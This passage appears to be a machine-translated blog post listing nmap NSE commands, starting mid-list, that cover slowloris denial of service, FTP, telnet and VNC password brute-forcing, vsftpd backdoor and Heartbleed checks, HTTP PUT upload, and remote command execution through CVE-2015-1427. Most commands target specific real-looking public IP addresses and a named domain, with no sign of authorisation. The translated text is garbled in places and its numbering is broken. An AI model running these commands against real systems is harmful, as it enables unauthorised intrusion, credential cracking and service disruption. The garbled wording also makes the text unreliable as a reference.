1 http: %1
nmap –max-parallelism 800–script http-slowloris scanme.nmap.org
2 IIS Short File Disclosure
nmap -p 8080 –script http-iis-short-name-brute 61.142.64.176
3 ftp weak password violence crack
nmap –script ftp-brute –script-args brute.emptypass=true,ftp-brute.timeout=30,userdb=/root/dirtionary/usernames.txt,brute.useraspass=true,passdb=/root/dirtionary/passwords.txt,brute.threads=3,brute.delay=6 203.195.139.153
4 Test ftp-vsftpd-backdoor in CVE-2011-2523
nmap -T2 –script ftp-vsftpd-backdoor 211.139.201.240
5 Validation of the-methods method opened at http
nmap -T3 –script http-methods –script-args http.test-all=true,http.url-path=/www.haoshangjia.com
6 Verify HTTP.sys remote code execution
nmap -sV –script http-vuln-cve2015-1635 203.195.139.153
Validation of SSL POODLE information leak
nmap -sV -p 443 –version-light –script ssl-poodle 218.19.141.16
8 Validation of the put method in http
nmap –script http-put –script-args http-put.url=/uploads/testput.txt,http-put.file=/root/put.txt 218.19.141.16
9 Authenticate mysql access anonymously
nmap –script mysql-empty-password 203.195.139.153
10 Validation of cve2015-1427 loopholes
nmap –script http-vuln-cve2015-1427 –script-args command=ls 203.195.139.153
11 Validation of cve2014-8877 loopholes
nmap -Pn –script http-vuln-cve2014-8877 –script-args http-vuln-cve2014-8877.cmd=dir,http-vuln-cve2014-8877.uri=/wordpress 42.96.170.128
12 Validation of CVE-2014-2126, CVE-2014-2127, CVE-2014-211, CVE-2014-2129 gaps in Cisco ASA
nmap -p 443 –script http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129 203.195.139.153
13 Validation of low-security SSHv1, sslv2 protocols
nmap –script sshv1,sslv2 www.haoshangjia.com
14 Validation of CVE-2014-0224 ssl-ccs-injection
nmap -Pn –script ssl-ccs-injection 203.195.139.153
15 Certification of ssl-cert certificates
nmap -v -v –script ssl-cert 203.195.139.153
16 Time limit for authentication of SSL certificates
nmap -Pn –script ssl-date www.haoshangjia.com
17 Validation of CVE-2014-0160 OpenSSL Heartbleed bug
nmap -p 443 –script ssl-heartbleed,ssl-known-key 203.195.139.153
18 Validation Debian OpenSSL keys
nmap -p 443 –script ssl-known-key 203.195.139.153
18 Validation of weak encryption SSL packages
nmap –script ssl-enum-ciphers 203.195.139.153
20 Validation of CVE 2015-4000
nmap –script ssl-dh-params www.haoshangjia.com
21 Validation of multiple SSL loopholes
nmap 203.195.139.153 –vv –script sshv1,ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,ssl-enum-ciphers,ssl-google-cert-catalog,ssl-heartbleed,ssl-known-key,sslv2
Checking the network to see if a host is bugging traffic.
nmap –script sniffer-detect 10.10.167.5
Violence to break the telnet
nmap -p 23 –script telnet-brute –script-args userdb=myusers.lst,passdb=mypwds.lst –script-args telnet-brute.timeout=8s 203.195.139.153
24 Verify whether telnet supports encryption
nmap –script telnet-encryption 203.195.139.153
25 Precise confirmation of service running on port
nmap -sV –script unusual-port 42.96.170.128
26 Collection of VNC information
nmap –script vnc-info 203.195.139.153
Violence to break VNC
nmap –script vnc-brute –script-args brute.guesses=6,brute.emptypass=true,userdb=/root/dictionary/user.txt,brute.useraspass=true,passdb=/root/dictionary/pass.txt,brute.retries=3,brute.threads=2,brute.delay=3 42.96.170.128
This script is quite long, and many detailed parameters can be found in the script.
0x03 Use nmap NSE of the series for checking
Nmap scripts are divided into the following categories, and can be scanned in a more general manner by setting up –script=classes as required:
auth: script dealing with authentication certificates (by circumvention)
broadcast: Searching for additional service openings in local area networks, such as dhcp/dns/sqleserver
Brute: Provide violent decomposition, for common applications such as http/snmp
default: Provide basic script scanning capability using the default script for –sC or-A options
Discovery: More information about the network, such as SMB count, SNMP queries, etc.
Dos: For a denial of service attack
Expluit: Use known leak-in systems
External: Using third-party databases or resources, such as whois resolution
Fuzzer: Fuzzy test scripts, sending abnormal packages to the target plane and detecting potential loopholes
Intrusive scripts, which may trigger the recording or shielding of each other ‘ s IDS/IPS
Mallware: To detect if the target is infected with a virus, opening the back door, etc.
It’s a security script, contrary to intrusive.
version: Scripts to enhance service and version scanning
vuln: Checks for common loopholes on the target machine (Vulnerability)
Nmap provides the following script command line parameters:
-SC: The equivalent is –script=default, scan using the script of the default category.
–script=: Scan with some type or categories of script to support wildcard description
–script-args=
nmap –sC 203.195.139.153
5 Information excavation using nmap
nmap –script discovery 203.195.139.153
6 Use nmap for denial-of-service attacks
nmap –script dos 203.195.139.153
7 Use nmap to exploit known leak-in systems
nmap –script exploit 203.195.139.153
8 Use nmap for information gathering or attacks using third-party databases or resources
nmap –script external 203.195.139.153
9 Fuzzy testing using nmap to send abnormal packages to the target aircraft and detect potential loopholes
nmap –script fuzzer 203.195.139.153
Using nmap, such scripts may trigger the recording or shielding of each other ‘ s IDS/IPS
nmap –script intrusive 203.195.139.153
11 Using nmap to detect if the target is infected with a virus, opening the back door, etc.
nmap –script malware 203.195.139.153
12 Security check of systems using nmap
nmap –script safe 203.195.139.153
13 Use nmap to check if there are any common loopholes in the target machine
nmap –script vuln 203.195.139.153
Using nmap scripts to enhance service and version scanning
nmap –script version 203.195.139.153
————————————————
未经允许不得转载:萌萌Apprentissage » Nmap scan loopholes. New usage
learn NMAP